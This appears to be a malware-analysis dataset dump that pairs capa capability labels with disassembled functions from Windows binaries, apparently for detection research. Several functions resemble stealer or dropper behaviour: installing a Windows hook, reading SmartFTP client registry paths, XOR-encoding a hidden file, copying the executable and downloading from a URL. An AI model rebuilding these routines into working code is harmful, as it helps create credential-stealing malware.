joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451298
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x451443
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x451424
mov dl, 1
mov eax, dword [0x4165e4]
call fcn.00404034
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404e78
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x451413
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043f224
test al, al
je 0x451406
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x451454
lea eax, [ebp - 0x254]
call fcn.00409ecc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x451406
xor eax, eax
push ebp
push 0x4513ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45148c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4513e8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004050e8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4513e8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004050e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451406
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x451309
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041a0c0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45144a
lea eax, [ebp - 0x260]
call fcn.00404e78
ret

Function at 0x451d78
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x464bb4]
cmp byte [eax + 0xa5], 0
jne 0x451de9
cmp dword [0x464bcc], 0
jne 0x451daa
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x451d34
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x464bcc], eax
cmp dword [0x464bc8], 0
jne 0x451dc5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x464bc8], eax
cmp dword [0x464bd0], 0
jne 0x451de9
push esp
push 0
push 0
push 0x451cd8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x464bd0], eax
pop edx
ret
Function at 0x451ee0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x451ef7
add esp, 0xfffffff0
call fcn.00404388
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ded0
mov eax, dword [0x4636cc]
cmp word [eax + 2], 0
jne 0x451f1f
mov eax, dword [0x4636cc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004535b8
mov eax, dword [0x463784]
cmp word [eax + 2], 0
jne 0x451f39
mov eax, dword [0x463784]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004537b0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4161c8]
call fcn.00404034
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4161c8]
call fcn.00404034
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4203cc]
call fcn.00427c98
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4520c0
mov eax, dword [0x4635e4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00428068
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x453d50
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4635e4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d6e8
test eax, eax
je 0x45202e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004098ac
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d710
test eax, eax
je 0x452042
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004050e8
mov eax, dword [0x4634b8]
cmp byte [eax], 0
jne 0x452076
mov eax, ebx
call fcn.004521e8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00453f2c
mov eax, ebx
call fcn.004548f0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4520b6
call fcn.004043e0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452468
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x464bb4]
cmp dword [eax + 0x30], 0
je 0x452512
cmp dword [ebx + 0x94], 0
jne 0x45250c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4523f8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45250c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4524d2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45250c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418530
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4524e1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x453074
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4530a9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404f68
jmp 0x4530b6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404ecc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x454108
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x454149
mov eax, esi
call fcn.0043a8e4
test al, al
je 0x454149
mov eax, dword [ebx + 0x84]
call fcn.0043a624
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x454149
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043a624
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x454e08
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x415740]
call fcn.0040580c
xor eax, eax
push ebp
push 0x454f4c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x462da8], 0
jne 0x454e5b
mov ecx, dword [0x4634c8]
mov dl, 1
mov eax, dword [0x408180]
call fcn.0040c994
call fcn.004048b4
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.0040320c
mov eax, ebx
call fcn.004056dc
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x454f5c
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00406894
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.004056ec
test eax, eax
jle 0x454ef3
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x454eec
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00405100
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.004050e8
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408fa4
test eax, eax
jne 0x454eec
mov ebx, 0x15
jmp 0x454ef8
mov ebx, 0x10
jmp 0x454ef8
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x462da8]
call fcn.00454d60
mov eax, dword [ebp - 8]
call fcn.00454d60
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004068ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454f53
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404e9c
lea eax, [ebp - 0x10]
mov edx, dword [0x415740]
call fcn.004058dc
ret

Function at 0x45d8e4
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x405136
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.00405511
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.00405511
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.00405511
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.00405511
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call 0x40848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x405203
test eax, eax
jbe 0x405203
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call 0x404e7b
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051bb
cmp dword [ebp - 8], 0
jbe 0x40521b
mov esi, dword [ebp - 0xc]
call 0x4033a0
jmp 0x405224
push dword [ebp - 0xc]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a30
xor eax, eax
jmp 0x406a65
push edi
push dword [ebp + 0x14]
call fcn.00405451
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d14
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d26
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114e4], eax
pop esi
mov eax, ecx
ret
Function at 0x4075d4
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40771f
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40762a
push 2
pop eax
jmp 0x407722
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x40771f
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x40771f
cmp dword [ebp - 8], edi
jne 0x40771f
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.0040584d
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x407722
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407727
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.0040d5b0
push ebx
push esi
push edi
mov ebx, 0x400
push ebx
lea eax, [esp + 0x10]
push eax
xor edi, edi
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [esp + 0x1010], edi
je 0x40776d
push dword [esp + 0x1010]
lea eax, [esp + 0x10]
push eax
call fcn.004075d4
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x4077e1
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
lea eax, [esp + 0x814]
push eax
push dword [esi*4 + 0x411044]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x810]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.004075d4
test eax, eax
pop ecx
pop ecx
je 0x4077eb
cmp eax, 1
jne 0x4077b7
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 4
jmp 0x4077ca
cmp eax, 2
jne 0x4077d2
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 5
call fcn.0040a786
add esp, 0xc
inc esi
add edi, 0xf4240
cmp esi, 2
jl 0x407774
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1000
ret
lea eax, [esi + 1]
jmp 0x4077e0

Function at 0x4077f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040d530
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
neg eax
sbb eax, eax
neg eax
pop esi
leave
ret
Function at 0x407b4e
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
push esi
push edi
xor eax, eax
call fcn.00407267
mov edi, eax
mov eax, dword [0x41a4cc]
test eax, eax
jne 0x407b9a
lea eax, [esp + 0xd8]
push eax
xor eax, eax
push str.TimeCorr
inc eax
call fcn.00407e2b
test eax, eax
pop ecx
pop ecx
je 0x407b9a
lea eax, [esp + 0xd8]
call fcn.00405624
mov dword [0x41a4cc], eax
add eax, edi
xor edx, edx
mov ecx, 0x4b0
div ecx
lea esi, [esp + 0x70]
mov edi, eax
test edi, edi
jne 0x407bba
mov byte [esp + 0x70], 0x30
mov byte [esp + 0x71], al
jmp 0x407bf8
mov ecx, 0x3b9aca00
cmp edi, ecx
jae 0x407bd4
mov eax, ecx
push 0xa
xor edx, edx
pop ecx
div ecx
mov ecx, eax
cmp edi, ecx
jb 0x407bc3
jmp 0x407bf2
xor edx, edx
mov eax, edi
div ecx
push 0xa
mov dl, al
imul eax, ecx
add dl, 0x30
sub edi, eax
mov byte [esi], dl
mov eax, ecx
xor edx, edx
pop ecx
div ecx
inc esi
mov ecx, eax
test ecx, ecx
jne 0x407bd4
mov byte [esi], cl
cmp byte [esp + 0x70], 0
mov edx, str.__scMMdj490_0_Osd
lea eax, [esp + 0x70]
je 0x407c0e
inc eax
cmp byte [eax], 0
jne 0x407c08
mov cl, byte [edx]
mov byte [eax], cl
inc eax
inc edx
test cl, cl
jne 0x407c0e
xor edi, edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], 0x67452301
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
lea eax, [esp + 0x70]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407c46
lea ecx, [esp + 0x70]
sub eax, ecx
dec eax
mov edx, eax
cmp edx, edi
jle 0x407c6e
push edx
push ecx
lea ecx, [esp + 0x20]
push ecx
shl eax, 3
xor ecx, ecx
call fcn.0040bcb4
add esp, 0xc
lea eax, [esp + 8]
push eax
lea esi, [esp + 0x1c]
call fcn.0040bd55
pop ecx
xor ecx, ecx
mov dl, byte [esp + ecx + 8]
mov al, dl
shr al, 4
cmp al, 0xa
movzx ax, al
jae 0x407c96
add ax, 0x30
jmp 0x407c9a
add ax, 0x57
mov word [ebx + ecx*4], ax
movzx eax, dl
and eax, 0x8000000f
jns 0x407cad
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 0xa
movzx ax, al
jae 0x407cbb
add ax, 0x30
jmp 0x407cbf
add ax, 0x57
mov word [ebx + ecx*4 + 2], ax
inc ecx
cmp ecx, 0x10
jl 0x407c7f
mov word [ebx + 0x40], di
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407cd7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040d5b0
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x407d0d
lea edx, [ebp - 0x2000]
call fcn.00406cf9
jmp 0x407d1b
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, str.merocz.xc6
lea eax, [ebp - 0x2000]
call fcn.004054ed
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x407d36
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x4110b4], eax
pop esi
mov eax, ecx
leave
ret
Function at 0x407d61
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110b4], 0xffffffff
jne 0x407d85
push 0
call fcn.00407cd7
cmp dword [0x4110b4], 0xffffffff
pop ecx
jne 0x407d85
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405451
push dword [ebp + 0x10]
mov esi, eax
call fcn.00405451
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.00405511
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x407dc3
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.00405511
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x407deb
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x407def
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407e2b
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110b4], 0xffffffff
push esi
mov esi, eax
jne 0x407e4e
push 1
call fcn.00407cd7
cmp dword [0x4110b4], 0xffffffff
pop ecx
je 0x407eba
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407eba
cmp dword [ebp - 4], 0x64
jne 0x407eba
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x407e86
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00405493
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x407eba
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.00405511
xor eax, eax
pop ecx
inc eax
jmp 0x407ebc
xor eax, eax
pop esi
leave
ret
Function at 0x409c99
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d5b0
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409cb9
push dword [ebp + 0xc]
call fcn.00405451
pop ecx
jmp 0x409cbb
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409cdf
xor eax, eax
jmp 0x409df1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409d5b
xor eax, eax
jmp 0x409def
mov eax, dword [ebp - 8]
test eax, eax
je 0x409d79
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409d3d
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409d04
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c5d0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409d0b
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409d97
and dword [ebp - 4], eax
jmp 0x409de0
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409dd6
test edi, edi
jbe 0x409dd6
and word [ecx], 0
test edi, edi
jbe 0x409dd6
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409dd6
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409db8
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret